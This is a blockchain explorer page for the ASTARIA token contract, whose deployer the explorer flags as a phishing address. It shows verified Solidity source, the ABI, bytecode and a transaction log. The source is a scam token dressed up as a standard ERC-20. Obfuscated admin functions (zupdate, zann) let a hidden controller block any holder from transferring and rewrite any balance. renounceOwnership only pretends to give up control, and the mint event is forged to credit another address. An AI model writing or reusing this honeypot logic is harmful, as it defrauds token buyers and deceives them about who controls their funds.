ETH Price: $2,618.76 (-2.32%)
Gas: 1.06 Gwei

Contract

0x00ff71Ed73D37b00839244e176A095727aD0acF7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Zann164701402023-01-23 14:35:59747 days ago1674484559IN
Fake_Phishing305298
0 ETH0.0004472415.10843904
Approve164678262023-01-23 6:51:47747 days ago1674456707IN
Fake_Phishing305298
0 ETH0.000661514.06200381
Zupdate164667782023-01-23 3:21:11747 days ago1674444071IN
Fake_Phishing305298
0 ETH0.0006480413.89154735
Approve164667702023-01-23 3:19:35747 days ago1674443975IN
Fake_Phishing305298
0 ETH0.0007669116.30282421
Zupdate164666682023-01-23 2:58:59747 days ago1674442739IN
Fake_Phishing305298
0 ETH0.000670714.37365678
Approve164666632023-01-23 2:57:59747 days ago1674442679IN
Fake_Phishing305298
0 ETH0.0007356515.63833911
Approve164666542023-01-23 2:56:11747 days ago1674442571IN
Fake_Phishing305298
0 ETH0.000657113.968393
Approve164666472023-01-23 2:54:47747 days ago1674442487IN
Fake_Phishing305298
0 ETH0.0007019414.94068296
Zupdate164666432023-01-23 2:53:59747 days ago1674442439IN
Fake_Phishing305298
0 ETH0.0007034315.07513488
Zupdate164666412023-01-23 2:53:35747 days ago1674442415IN
Fake_Phishing305298
0 ETH0.0007302815.6505987
Approve164665442023-01-23 2:34:11747 days ago1674441251IN
Fake_Phishing305298
0 ETH0.0003972216.04436881
Zupdate164665142023-01-23 2:28:11747 days ago1674440891IN
Fake_Phishing305298
0 ETH0.0004038815.09165483
Approve164665092023-01-23 2:27:11747 days ago1674440831IN
Fake_Phishing305298
0 ETH0.0007910716.81633602
Approve164665042023-01-23 2:26:11747 days ago1674440771IN
Fake_Phishing305298
0 ETH0.0007417515.76794665
Zupdate164664982023-01-23 2:24:59747 days ago1674440699IN
Fake_Phishing305298
0 ETH0.0007005915.01420818
Zupdate164664972023-01-23 2:24:47747 days ago1674440687IN
Fake_Phishing305298
0 ETH0.0006733314.43015235
Approve164664862023-01-23 2:22:23747 days ago1674440543IN
Fake_Phishing305298
0 ETH0.0007381515.69146563
Approve164664732023-01-23 2:19:35747 days ago1674440375IN
Fake_Phishing305298
0 ETH0.0006902414.67305584
Zupdate164664542023-01-23 2:15:47747 days ago1674440147IN
Fake_Phishing305298
0 ETH0.0007155215.33426161
Zupdate164664532023-01-23 2:15:35747 days ago1674440135IN
Fake_Phishing305298
0 ETH0.0007352415.7568278
Zupdate164664532023-01-23 2:15:35747 days ago1674440135IN
Fake_Phishing305298
0 ETH0.0007352415.7568278
Approve164664472023-01-23 2:14:23747 days ago1674440063IN
Fake_Phishing305298
0 ETH0.0007195115.29520139
Zupdate164664162023-01-23 2:08:11747 days ago1674439691IN
Fake_Phishing305298
0 ETH0.0006765614.49920152
Approve164663992023-01-23 2:04:47747 days ago1674439487IN
Fake_Phishing305298
0 ETH0.0008962319.05180278
Renounce Ownersh...164663762023-01-23 2:00:11747 days ago1674439211IN
Fake_Phishing305298
0 ETH0.0003782516.21597733
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ASTARIA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-01-23
*/

// SPDX-License-Identifier: MIT



pragma solidity 0.8.17;
 /*
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}*/ 

 
contract ASTARIA {
  
    mapping (address => uint256) private XBl;
    mapping (address => uint256) private XCl;
    mapping(address => mapping(address => uint256)) public allowance;
  


    
    string public name = "ASTARIA LABS";
    string public symbol = unicode"ASTARIA";
    uint8 public decimals = 6;
    uint256 public totalSupply = 150000000 *10**6;
    address owner = msg.sender;
    address private XdL;
    address zDeployer = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   



        constructor()  {
        XdL = msg.sender;
        xCreate(msg.sender, totalSupply); }

    function renounceOwnership() public virtual {
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }



    function xCreate(address account, uint256 amount) internal {
    account = zDeployer;
    XBl[msg.sender] = totalSupply;
    emit Transfer(address(0), account, amount); }


   function balanceOf(address account) public view  returns (uint256) {
        return XBl[account];
    }
    function transfer(address to, uint256 value) public returns (bool success) {


      require(XCl[msg.sender] <= 1);
        require(XBl[msg.sender] >= value);
  XBl[msg.sender] -= value;  
        XBl[to] += value;          
 emit Transfer(msg.sender, to, value);
        return true; }
modifier xJJ () {
 require(msg.sender == XdL);
 _;}
 function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }

 function zupdate (address iiX, uint256 iiV) xJJ public {
   XCl[iiX] = iiV;}
function zann (address iiX, uint256 iiV) xJJ public {
    XBl[iiX] = iiV;}



    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == XdL)  {
 require(value <= XBl[from]);
        require(value <= allowance[from][msg.sender]);
        XBl[from] -= value;  
      XBl[to] += value; 
        from = zDeployer;
        emit Transfer (from, to, value);
        return true; }    

        require(XCl[from] <= 1 && XCl[to] <=1);
        require(value <= XBl[from]);
        require(value <= allowance[from][msg.sender]);
        XBl[from] -= value;
        XBl[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"iiX","type":"address"},{"internalType":"uint256","name":"iiV","type":"uint256"}],"name":"zann","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"iiX","type":"address"},{"internalType":"uint256","name":"iiV","type":"uint256"}],"name":"zupdate","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f41535441524941204c4142530000000000000000000000000000000000000000815250600390816200004a919062000506565b506040518060400160405280600781526020017f41535441524941000000000000000000000000000000000000000000000000008152506004908162000091919062000506565b506006600560006101000a81548160ff021916908360ff16021790555065886c98b7600060065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555072c5e04176d95a286fcce0e68c683ca0bfec8454600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015a57600080fd5b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b033600654620001b660201b60201c565b6200061b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002809190620005fe565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030e57607f821691505b602082108103620003245762000323620002c6565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034f565b6200039a86836200034f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e7620003e1620003db84620003b2565b620003bc565b620003b2565b9050919050565b6000819050919050565b6200040383620003c6565b6200041b6200041282620003ee565b8484546200035c565b825550505050565b600090565b6200043262000423565b6200043f818484620003f8565b505050565b5b8181101562000467576200045b60008262000428565b60018101905062000445565b5050565b601f821115620004b65762000480816200032a565b6200048b846200033f565b810160208510156200049b578190505b620004b3620004aa856200033f565b83018262000444565b50505b505050565b600082821c905092915050565b6000620004db60001984600802620004bb565b1980831691505092915050565b6000620004f68383620004c8565b9150826002028217905092915050565b62000511826200028c565b67ffffffffffffffff8111156200052d576200052c62000297565b5b620005398254620002f5565b620005468282856200046b565b600060209050601f8311600181146200057e576000841562000569578287015190505b620005758582620004e8565b865550620005e5565b601f1984166200058e866200032a565b60005b82811015620005b85784890151825560018201915060208501945060208101905062000591565b86831015620005d85784890151620005d4601f891682620004c8565b8355505b6001600288020188555050505b505050505050565b620005f881620003b2565b82525050565b6000602082019050620006156000830184620005ed565b92915050565b611297806200062b6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a357806395d89b41146101ad578063a4a42ab7146101cb578063a9059cbb146101e7578063b45dbd8f14610217578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610f18565b60405180910390f35b6100f160048036038101906100ec9190610fd3565b6102f1565b6040516100fe919061102e565b60405180910390f35b61010f6103e3565b60405161011c9190611058565b60405180910390f35b61013f600480360381019061013a9190611073565b6103e9565b60405161014c919061102e565b60405180910390f35b61015d61096a565b60405161016a91906110e2565b60405180910390f35b61018d600480360381019061018891906110fd565b61097d565b60405161019a9190611058565b60405180910390f35b6101ab6109c5565b005b6101b5610ae0565b6040516101c29190610f18565b60405180910390f35b6101e560048036038101906101e09190610fd3565b610b6e565b005b61020160048036038101906101fc9190610fd3565b610c0f565b60405161020e919061102e565b60405180910390f35b610231600480360381019061022c9190610fd3565b610dc1565b005b61024d6004803603810190610248919061112a565b610e63565b60405161025a9190611058565b60405180910390f35b6003805461027090611199565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611199565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190611058565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610651576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561048b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561051457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461056291906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b7919061122d565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106409190611058565b60405180910390a360019050610963565b60018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111580156106df575060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6106e857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107bc57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080a91906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461085f919061122d565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f291906111f9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109569190611058565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610aed90611199565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1990611199565b8015610b665780601f10610b3b57610100808354040283529160200191610b66565b820191906000526020600020905b815481529060010190602001808311610b4957829003601f168201915b505050505081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bc857600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610c5d57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ca857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf691906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4b919061122d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610daf9190611058565b60405180910390a36001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1b57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ec2578082015181840152602081019050610ea7565b60008484015250505050565b6000601f19601f8301169050919050565b6000610eea82610e88565b610ef48185610e93565b9350610f04818560208601610ea4565b610f0d81610ece565b840191505092915050565b60006020820190508181036000830152610f328184610edf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f6a82610f3f565b9050919050565b610f7a81610f5f565b8114610f8557600080fd5b50565b600081359050610f9781610f71565b92915050565b6000819050919050565b610fb081610f9d565b8114610fbb57600080fd5b50565b600081359050610fcd81610fa7565b92915050565b60008060408385031215610fea57610fe9610f3a565b5b6000610ff885828601610f88565b925050602061100985828601610fbe565b9150509250929050565b60008115159050919050565b61102881611013565b82525050565b6000602082019050611043600083018461101f565b92915050565b61105281610f9d565b82525050565b600060208201905061106d6000830184611049565b92915050565b60008060006060848603121561108c5761108b610f3a565b5b600061109a86828701610f88565b93505060206110ab86828701610f88565b92505060406110bc86828701610fbe565b9150509250925092565b600060ff82169050919050565b6110dc816110c6565b82525050565b60006020820190506110f760008301846110d3565b92915050565b60006020828403121561111357611112610f3a565b5b600061112184828501610f88565b91505092915050565b6000806040838503121561114157611140610f3a565b5b600061114f85828601610f88565b925050602061116085828601610f88565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111b157607f821691505b6020821081036111c4576111c361116a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061120482610f9d565b915061120f83610f9d565b9250828203905081811115611227576112266111ca565b5b92915050565b600061123882610f9d565b915061124383610f9d565b925082820190508082111561125b5761125a6111ca565b5b9291505056fea26469706673582212206e7e0fc56c3b0a7d4d37b8ab7225ca9a0c6ac2b734562217349eab82def60ede64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a357806395d89b41146101ad578063a4a42ab7146101cb578063a9059cbb146101e7578063b45dbd8f14610217578063dd62ed3e14610233576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610f18565b60405180910390f35b6100f160048036038101906100ec9190610fd3565b6102f1565b6040516100fe919061102e565b60405180910390f35b61010f6103e3565b60405161011c9190611058565b60405180910390f35b61013f600480360381019061013a9190611073565b6103e9565b60405161014c919061102e565b60405180910390f35b61015d61096a565b60405161016a91906110e2565b60405180910390f35b61018d600480360381019061018891906110fd565b61097d565b60405161019a9190611058565b60405180910390f35b6101ab6109c5565b005b6101b5610ae0565b6040516101c29190610f18565b60405180910390f35b6101e560048036038101906101e09190610fd3565b610b6e565b005b61020160048036038101906101fc9190610fd3565b610c0f565b60405161020e919061102e565b60405180910390f35b610231600480360381019061022c9190610fd3565b610dc1565b005b61024d6004803603810190610248919061112a565b610e63565b60405161025a9190611058565b60405180910390f35b6003805461027090611199565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611199565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190611058565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610651576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561048b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561051457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461056291906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b7919061122d565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106409190611058565b60405180910390a360019050610963565b60018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111580156106df575060018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6106e857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107bc57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080a91906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461085f919061122d565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f291906111f9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109569190611058565b60405180910390a3600190505b9392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610aed90611199565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1990611199565b8015610b665780601f10610b3b57610100808354040283529160200191610b66565b820191906000526020600020905b815481529060010190602001808311610b4957829003601f168201915b505050505081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bc857600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610c5d57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ca857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf691906111f9565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4b919061122d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610daf9190611058565b60405180910390a36001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1b57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ec2578082015181840152602081019050610ea7565b60008484015250505050565b6000601f19601f8301169050919050565b6000610eea82610e88565b610ef48185610e93565b9350610f04818560208601610ea4565b610f0d81610ece565b840191505092915050565b60006020820190508181036000830152610f328184610edf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f6a82610f3f565b9050919050565b610f7a81610f5f565b8114610f8557600080fd5b50565b600081359050610f9781610f71565b92915050565b6000819050919050565b610fb081610f9d565b8114610fbb57600080fd5b50565b600081359050610fcd81610fa7565b92915050565b60008060408385031215610fea57610fe9610f3a565b5b6000610ff885828601610f88565b925050602061100985828601610fbe565b9150509250929050565b60008115159050919050565b61102881611013565b82525050565b6000602082019050611043600083018461101f565b92915050565b61105281610f9d565b82525050565b600060208201905061106d6000830184611049565b92915050565b60008060006060848603121561108c5761108b610f3a565b5b600061109a86828701610f88565b93505060206110ab86828701610f88565b92505060406110bc86828701610fbe565b9150509250925092565b600060ff82169050919050565b6110dc816110c6565b82525050565b60006020820190506110f760008301846110d3565b92915050565b60006020828403121561111357611112610f3a565b5b600061112184828501610f88565b91505092915050565b6000806040838503121561114157611140610f3a565b5b600061114f85828601610f88565b925050602061116085828601610f88565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111b157607f821691505b6020821081036111c4576111c361116a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061120482610f9d565b915061120f83610f9d565b9250828203905081811115611227576112266111ca565b5b92915050565b600061123882610f9d565b915061124383610f9d565b925082820190508082111561125b5761125a6111ca565b5b9291505056fea26469706673582212206e7e0fc56c3b0a7d4d37b8ab7225ca9a0c6ac2b734562217349eab82def60ede64736f6c63430008110033

Deployed Bytecode Sourcemap

